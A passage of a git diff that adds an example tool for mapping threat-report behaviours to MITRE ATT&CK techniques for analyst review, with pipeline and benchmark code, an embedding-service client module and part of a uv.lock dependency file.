) + decisions.append(row) + + review = { + "report": { + "path": report_path.name, + "sha256": sha256(report_path), + "characters": len(report_text), + }, + "taxonomy": { + "name": "MITRE ATT&CK Enterprise", + "version": config["sources"]["attack"]["version"], + "active_techniques": len(techniques), + }, + "status": "analyst_review_required", + "behavior_count": len(behaviors), + "suggested_mapping_count": sum(row["selected_technique_id"] is not None for row in decisions), + "mappings": decisions, + } + _write_json(staging / "review.json", review) + _write_json(staging / "api-calls.json", calls) + manifest = { + "created_at": datetime.now(UTC).isoformat(), + "endpoint": config["cluster"]["url"], + "models": config["models"], + "model_revisions": config["model_revisions"], + "rate_book_provenance": _rate_book_provenance(calls), + "pipeline_stage": "full_report_review", + "source_report": review["report"], + "taxonomy": { + "name": "MITRE ATT&CK Enterprise", + "version": config["sources"]["attack"]["version"], + "commit": config["sources"]["attack"]["commit"], + "sha256": sha256(sources["attack"]), + "active_techniques": len(techniques), + }, + "decision_boundary": ( + "The agent proposes source-backed mappings for analyst review. It cannot accept a mapping, detect an " + "intrusion, or change a security control." + ), + "artifacts": _artifact_rows(staging), + } + _write_json(staging / "manifest.json", manifest) + staging.rename(final_dir) + except BaseException: + shutil.rmtree(staging, ignore_errors=True) + raise + finally: + with contextlib.suppress(OSError): + reservation.rmdir() + return final_dir + + +def map_annoctr_demo( + config: dict[str, Any], + *, + document: str, + split: str, + run_id: str, +) -> Path: + sources = ensure_sources(config) + report_path = find_annoctr_report(sources["annoctr"], split, document) + return map_report(config, report_path=report_path, run_id=run_id) + + +def benchmark( + config: dict[str, Any], + *, + split: str, + limit: int | None, + stage: str, + run_id: str, +) -> Path: + run_id = _validate_run_id(run_id) + if stage not in {"retrieve", "rerank", "verify"}: + raise ValueError("stage must be retrieve, rerank, or verify") + sources = ensure_sources(config) + benchmark_catalog_path = find_annoctr_catalog(sources["annoctr"]) + techniques = load_annoctr_catalog(benchmark_catalog_path) + lookup = catalog_by_id(techniques) + cases = load_linking_cases(sources["annoctr"], split) + if limit is not None: + if limit < 1: + raise ValueError("limit must be positive") + cases = cases[:limit] + + final_dir, staging, reservation = _begin_run(run_id) + calls: list[dict[str, Any]] = [] + try: + timeout = float(config["cluster"]["provision_timeout_s"]) + with SIEClient( + config["cluster"]["url"], + api_key=config["cluster"]["api_key"] or None, + timeout_s=timeout, + ) as client: + catalog_vectors, catalog_calls = encode_texts( + client, + config["models"]["retrieve"], + [technique.candidate_text for technique in techniques], + instruction=None, + is_query=False, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="catalog_encode", + ) + query_vectors, query_calls = encode_texts( + client, + config["models"]["retrieve"], + [case.query_text for case in cases], + instruction=config["retrieval"]["instruction"], + is_query=True, + batch_size=int(config["retrieval"]["embedding_batch_size"]), + provision_timeout_s=timeout, + stage="query_encode", + ) + calls.extend(catalog_calls) + calls.extend(query_calls) + np.savez_compressed( + staging / "embeddings.npz", + catalog=catalog_vectors, + queries=query_vectors, + technique_ids=np.asarray([row.technique_id for row in techniques]), + case_ids=np.asarray([row.case_id for row in cases]), + ) + predictions: list[dict[str, Any]] = [] + for index, case in enumerate(cases): + active_gold, excluded_gold = _eligible_gold(case.gold_ids, lookup) + dense_candidates = retrieve( + query_vectors[index], + catalog_vectors, + techniques, + int(config["retrieval"]["candidate_count"]), + ) + row: dict[str, Any] = { + "case_id": case.case_id, + "document": case.document, + "mention": case.mention, + "evidence": case.evidence, + "annotation_classes": list(case.annotation_classes), + "gold_ids": active_gold, + "excluded_gold_ids": excluded_gold, + "retrieval": [candidate.to_dict() for candidate in dense_candidates], + "rerank": [], + "verification": None, + } + if stage in {"rerank", "verify"} and active_gold: + behavior = BehaviorEvidence( + quote=case.evidence, + summary=case.mention, + source_start=0, + source_end=len(case.evidence), + ) + ranked, rerank_call = rerank( + client, + config["models"]["rerank"], + behavior, + dense_candidates, + lookup, + rerank_count=int(config["retrieval"]["rerank_count"]), + provision_timeout_s=timeout, + ) + calls.append({**rerank_call, "case_id": case.case_id}) + row["rerank"] = [candidate.to_dict() for candidate in ranked] + if stage == "verify": + decision, verify_calls = verify_mapping( + client, + config["models"]["verify"], + config["models"]["escalate"], + behavior, + ranked, + lookup, + verifier_count=int(config["retrieval"]["verifier_count"]), + use_escalation=bool(config["report"]["use_escalation"]), + provision_timeout_s=timeout, + ) + calls.extend({**call, "case_id": case.case_id} for call in verify_calls) + row["verification"] = { + "support": decision.support, + "route": decision.route, + "selected_technique_id": decision.selected_technique_id, + "evidence_quote": decision.evidence_quote, + "verifier_model": decision.verifier_model, + "escalated": decision.escalated, + } + predictions.append(row) + + _write_jsonl(staging / "predictions.jsonl", predictions) + _write_json(staging / "evaluation.json", evaluate_predictions(predictions)) + _write_json(staging / "api-calls.json", calls) + manifest = { + "created_at": datetime.now(UTC).isoformat(), + "endpoint": config["cluster"]["url"], + "models": config["models"], + "model_revisions": config["model_revisions"], + "rate_book_provenance": _rate_book_provenance(calls), + "pipeline_stage": stage, + "dataset": { + "name": "AnnoCTR", + "split": split, + "commit": config["sources"]["annoctr"]["commit"], + "archive_sha256": sha256(sources["annoctr_archive"]), + "selection": "all cases sorted by a stable case hash" + if limit is None + else f"first {limit} stable case hashes", + }, + "taxonomy": { + "name": "AnnoCTR bundled MITRE ATT&CK entity catalog", + "version": "historical snapshot distributed with AnnoCTR", + "commit": config["sources"]["annoctr"]["commit"], + "sha256": sha256(benchmark_catalog_path), + "techniques": len(techniques), + "scope": "Historical label space used by the published AnnoCTR annotations", + }, + "decision_boundary": ( + "Predictions are review suggestions. Only a human analyst can accept or reject an ATT&CK mapping. " + "The benchmark evaluates linking from an annotated behavior span, not behavior detection over a full report." + ), + "artifacts": _artifact_rows(staging), + } + _write_json(staging / "manifest.json", manifest) + staging.rename(final_dir) + except BaseException: + shutil.rmtree(staging, ignore_errors=True) + raise + finally: + with contextlib.suppress(OSError): + reservation.rmdir() + return final_dir diff --git a/examples/threat-report-attck-mapper/threat_mapper/sie.py b/examples/threat-report-attck-mapper/threat_mapper/sie.py new file mode 100644 index 000000000..8263a8cc1 --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/sie.py @@ -0,0 +1,129 @@ +from __future__ import annotations + +import json +import time +from typing import Any, Protocol + +import numpy as np +from sie_sdk.types import Item + + +class SIEClientProtocol(Protocol): + def encode(self, model: str, items: Item | list[Item], **kwargs: Any) -> Any: ... + + def score(self, model: str, query: Item, items: list[Item], **kwargs: Any) -> Any: ... + + def extract(self, model: str, item: Item, **kwargs: Any) -> Any: ... + + def generate(self, model: str, prompt: str, **kwargs: Any) -> Any: ... + + +def jsonable(value: Any) -> Any: + if hasattr(value, "model_dump"): + return value.model_dump(mode="json") + if hasattr(value, "tolist"): + return value.tolist() + if isinstance(value, dict): + return {str(key): jsonable(child) for key, child in value.items()} + if isinstance(value, (list, tuple)): + return [jsonable(child) for child in value] + return value + + +def dense_vector(result: Any) -> np.ndarray: + value = jsonable(result) + dense: Any = value.get("dense") if isinstance(value, dict) else None + if isinstance(dense, dict): + dense = dense.get("values") or dense.get("vector") + if not isinstance(dense, list) or not dense: + raise TypeError("Embedding response has no dense vector") + vector = np.asarray(dense, dtype=np.float32) + norm = float(np.linalg.norm(vector)) + if norm == 0: + raise ValueError("Embedding response has a zero-length vector") + return vector / norm + + +def request_record( + stage: str, + requested_model: str, + response: Any, + latency_ms: float, + *, + function: str, +) -> dict[str, Any]: + payload = jsonable(response) + if not isinstance(payload, dict): + payload = {} + request = payload.get("request") if isinstance(payload.get("request"), dict) else {} + usage = request.get("usage") if isinstance(request.get("usage"), dict) else payload.get("usage", {}) + return { + "stage": stage, + "function": function, + "requested_model": requested_model, + "runtime_model": payload.get("model", requested_model), + "request_id": request.get("id"), + "credits_debited": request.get("credits_debited"), + "rate_book_version": request.get("rate_book_version") or usage.get("rate_book_version"), + "execution_identity_sha256": request.get("execution_identity_sha256"), + "latency_ms": round(latency_ms, 1), + } + + +def encode_texts( + client: SIEClientProtocol, + model: str, + texts: list[str], + *, + instruction: str | None, + is_query: bool, + batch_size: int, + provision_timeout_s: float, + stage: str, +) -> tuple[np.ndarray, list[dict[str, Any]]]: + vectors: list[np.ndarray] = [] + calls: list[dict[str, Any]] = [] + for offset in range(0, len(texts), batch_size): + batch = texts[offset : offset + batch_size] + items = [Item(id=f"{stage}-{offset + index}", text=text) for index, text in enumerate(batch)] + started = time.perf_counter() + response = client.encode( + model, + items, + output_types=["dense"], + instruction=instruction, + is_query=is_query, + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + elapsed = (time.perf_counter() - started) * 1000 + responses = response if isinstance(response, list) else [response] + if len(responses) != len(items): + raise RuntimeError(f"Embedding batch returned {len(responses)} rows for {len(items)} inputs") + vectors.extend(dense_vector(row) for row in responses) + calls.append( + request_record( + f"{stage}_{offset // batch_size}", + model, + responses[0], + elapsed, + function="encode", + ) + ) + if not vectors: + return np.empty((0, 0), dtype=np.float32), calls + return np.stack(vectors), calls + + +def parse_generated_json(response: Any) -> dict[str, Any]: + payload = jsonable(response) + text = payload.get("text") if isinstance(payload, dict) else None + if not isinstance(text, str): + raise TypeError("SIE generate response has no text") + try: + value = json.loads(text) + except json.JSONDecodeError as exc: + raise ValueError("SIE generate response was not valid JSON") from exc + if not isinstance(value, dict): + raise TypeError("SIE generate response must be one JSON object") + return value diff --git a/examples/threat-report-attck-mapper/uv.lock b/examples/threat-report-attck-mapper/uv.lock new file mode 100644 index 000000000..3ddc67b22 --- /dev/null +++ b/examples/threat-report-attck-mapper/uv.lock @@ -0,0 +1,545 @@ +version = 1 +revision = 3 +requires-python = "==3.12.*" + +[[package]] +name = "aiohappyeyeballs" +version = "2.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d", size = 24757, upload-time = "2026-07-01T17:11:55.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472", size = 15038, upload-time = "2026-07-01T17:11:54.055Z" }, +] + +[[package]] +name = "aiohttp" +version = "3.14.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "aiohappyeyeballs" }, + { name = "aiosignal" }, + { name = "attrs" }, + { name = "frozenlist" }, + { name = "multidict" }, + { name = "propcache" }, + { name = "typing-extensions" }, + { name = "yarl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7971213, upload-time = "2026-07-23T01:57:27.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/d4/eb96299230e20acf2efae207cb8d69051f1f68e357e5ea5e479bf6fb097a/aiohttp-3.14.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5", size = 754690, upload-time = "2026-07-23T01:53:47.332Z" }, + { url = "https://files.pythonhosted.org/packages/88/11/e7a70a209eb9a067c0d3212b518a0134e3484f5178c7533878b6b514d469/aiohttp-3.14.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228", size = 509484, upload-time = "2026-07-23T01:53:51.159Z" }, + { url = "https://files.pythonhosted.org/packages/30/07/4bbc222cc8dbe31d4c3e8a5baad2286e4d42026ac0c570027b89afce6344/aiohttp-3.14.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee", size = 511949, upload-time = "2026-07-23T01:53:55.083Z" }, + { url = "https://files.pythonhosted.org/packages/54/b9/42e74c46b7b7c794b995bbc1f573fb48950c38b19d8600c62a6804ee2d67/aiohttp-3.14.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a", size = 1765282, upload-time = "2026-07-23T01:53:59.662Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ed/62bc4d74363ad346d518e0720363a949f63e2e23439a79eb5813d4d29bb3/aiohttp-3.14.3-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b", size = 1741511, upload-time = "2026-07-23T01:54:04.063Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9f/181e8a8bc79e47d13c7fc4540bd7a3b729d9505609c61f392a8dd2fbfe55/aiohttp-3.14.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529", size = 1810680, upload-time = "2026-07-23T01:54:09.882Z" }, + { url = "https://files.pythonhosted.org/packages/5c/9a/dec94d6ad694552fe3424e3f1928d7a606a5d9d9433a04e7ecdd9d38ae7f/aiohttp-3.14.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787", size = 1905646, upload-time = "2026-07-23T01:54:13.475Z" }, + { url = "https://files.pythonhosted.org/packages/52/b7/7cd31f29d6055bd711ae6e669367fba6f5ae9de463910a793e30556a8db7/aiohttp-3.14.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42", size = 1792122, upload-time = "2026-07-23T01:54:15.752Z" }, + { url = "https://files.pythonhosted.org/packages/66/73/10b1ef93afa61f4963c746257b70ced619cf31a4798671de5fdb2608501d/aiohttp-3.14.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b", size = 1591127, upload-time = "2026-07-23T01:54:19.489Z" }, + { url = "https://files.pythonhosted.org/packages/49/ed/3b203fa6de1b338c14acdc06bf6ca9b043b7944f005966958c2ced932cde/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043", size = 1725210, upload-time = "2026-07-23T01:54:24.129Z" }, + { url = "https://files.pythonhosted.org/packages/28/b7/1c2aab8c706436dcc28598452488ac9cd7c409da815237c28c27d58993e6/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427", size = 1764848, upload-time = "2026-07-23T01:54:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/54/50/94c28f08b131c4bf10984ea2c7a536c9920608bb2d6e7f95642c30cc87b7/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d", size = 1777102, upload-time = "2026-07-23T01:54:31.775Z" }, + { url = "https://files.pythonhosted.org/packages/13/d4/e7d09ba7d345fb2d74440fd2fa033c5e079fac05552927705986f41a364f/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0", size = 1580205, upload-time = "2026-07-23T01:54:34.518Z" }, + { url = "https://files.pythonhosted.org/packages/a3/84/072a91d68e1e1eb587985b54baab94221277f877e8ef274fc213a0ceae28/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d", size = 1797219, upload-time = "2026-07-23T01:54:36.995Z" }, + { url = "https://files.pythonhosted.org/packages/e0/eb/aad34e897e668424d6e995da5dff8a4a09af93363d3392488772957a63aa/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19", size = 1768629, upload-time = "2026-07-23T01:54:40.103Z" }, + { url = "https://files.pythonhosted.org/packages/b6/2b/6bb88ddba0fecd9122aa3ebcad25996cf6c083a4a7040dbb3a4f97972af6/aiohttp-3.14.3-cp312-cp312-win32.whl", hash = "sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559", size = 451481, upload-time = "2026-07-23T01:54:42.547Z" }, + { url = "https://files.pythonhosted.org/packages/76/9b/f2f8f108da17ecef2cc3efc424e8b7ad3782b1a8360f7b8eae8ced84f6ea/aiohttp-3.14.3-cp312-cp312-win_amd64.whl", hash = "sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a", size = 476845, upload-time = "2026-07-23T01:54:44.853Z" }, + { url = "https://files.pythonhosted.org/packages/3e/44/28dac80a8941b604f4da10ce21097614ca1bf905ce93dca28d8d7de9c1e7/aiohttp-3.14.3-cp312-cp312-win_arm64.whl", hash = "sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c", size = 448050, upload-time = "2026-07-23T01:54:47.087Z" }, +] + +[[package]] +name = "aiosignal" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "frozenlist" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25007, upload-time = "2025-07-03T22:54:43.528Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 7490, upload-time = "2025-07-03T22:54:42.156Z" }, +] + +[[package]] +name = "anyio" +version = "4.14.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260176, upload-time = "2026-07-12T20:29:07.082Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125813, upload-time = "2026-07-12T20:29:05.763Z" }, +] + +[[package]] +name = "attrs" +version = "26.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 952055, upload-time = "2026-03-19T14:22:25.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 67548, upload-time = "2026-03-19T14:22:23.645Z" }, +] + +[[package]] +name = "certifi" +version = "2026.7.22" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 138112, upload-time = "2026-07-22T03:35:12.644Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size = 136983, upload-time = "2026-07-22T03:35:11.276Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "frozenlist" +version = "1.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad", size = 45875, upload-time = "2025-10-06T05:38:17.865Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/29/948b9aa87e75820a38650af445d2ef2b6b8a6fab1a23b6bb9e4ef0be2d59/frozenlist-1.8.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1", size = 87782, upload-time = "2025-10-06T05:36:06.649Z" }, + { url = "https://files.pythonhosted.org/packages/64/80/4f6e318ee2a7c0750ed724fa33a4bdf1eacdc5a39a7a24e818a773cd91af/frozenlist-1.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b", size = 50594, upload-time = "2025-10-06T05:36:07.69Z" }, + { url = "https://files.pythonhosted.org/packages/2b/94/5c8a2b50a496b11dd519f4a24cb5496cf125681dd99e94c604ccdea9419a/frozenlist-1.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4", size = 50448, upload-time = "2025-10-06T05:36:08.78Z" }, + { url = "https://files.pythonhosted.org/packages/6a/bd/d91c5e39f490a49df14320f4e8c80161cfcce09f1e2cde1edd16a551abb3/frozenlist-1.8.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383", size = 242411, upload-time = "2025-10-06T05:36:09.801Z" }, + { url = "https://files.pythonhosted.org/packages/8f/83/f61505a05109ef3293dfb1ff594d13d64a2324ac3482be2cedc2be818256/frozenlist-1.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4", size = 243014, upload-time = "2025-10-06T05:36:11.394Z" }, + { url = "https://files.pythonhosted.org/packages/d8/cb/cb6c7b0f7d4023ddda30cf56b8b17494eb3a79e3fda666bf735f63118b35/frozenlist-1.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8", size = 234909, upload-time = "2025-10-06T05:36:12.598Z" }, + { url = "https://files.pythonhosted.org/packages/31/c5/cd7a1f3b8b34af009fb17d4123c5a778b44ae2804e3ad6b86204255f9ec5/frozenlist-1.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b", size = 250049, upload-time = "2025-10-06T05:36:14.065Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/2f95d3b416c584a1e7f0e1d6d31998c4a795f7544069ee2e0962a4b60740/frozenlist-1.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52", size = 256485, upload-time = "2025-10-06T05:36:15.39Z" }, + { url = "https://files.pythonhosted.org/packages/ce/03/024bf7720b3abaebcff6d0793d73c154237b85bdf67b7ed55e5e9596dc9a/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29", size = 237619, upload-time = "2025-10-06T05:36:16.558Z" }, + { url = "https://files.pythonhosted.org/packages/69/fa/f8abdfe7d76b731f5d8bd217827cf6764d4f1d9763407e42717b4bed50a0/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3", size = 250320, upload-time = "2025-10-06T05:36:17.821Z" }, + { url = "https://files.pythonhosted.org/packages/f5/3c/b051329f718b463b22613e269ad72138cc256c540f78a6de89452803a47d/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143", size = 246820, upload-time = "2025-10-06T05:36:19.046Z" }, + { url = "https://files.pythonhosted.org/packages/0f/ae/58282e8f98e444b3f4dd42448ff36fa38bef29e40d40f330b22e7108f565/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608", size = 250518, upload-time = "2025-10-06T05:36:20.763Z" }, + { url = "https://files.pythonhosted.org/packages/8f/96/007e5944694d66123183845a106547a15944fbbb7154788cbf7272789536/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa", size = 239096, upload-time = "2025-10-06T05:36:22.129Z" }, + { url = "https://files.pythonhosted.org/packages/66/bb/852b9d6db2fa40be96f29c0d1205c306288f0684df8fd26ca1951d461a56/frozenlist-1.8.0-cp312-cp312-win32.whl", hash = "sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf", size = 39985, upload-time = "2025-10-06T05:36:23.661Z" }, + { url = "https://files.pythonhosted.org/packages/b8/af/38e51a553dd66eb064cdf193841f16f077585d4d28394c2fa6235cb41765/frozenlist-1.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746", size = 44591, upload-time = "2025-10-06T05:36:24.958Z" }, + { url = "https://files.pythonhosted.org/packages/a7/06/1dc65480ab147339fecc70797e9c2f69d9cea9cf38934ce08df070fdb9cb/frozenlist-1.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd", size = 40102, upload-time = "2025-10-06T05:36:26.333Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size = 13409, upload-time = "2025-10-06T05:38:16.721Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } 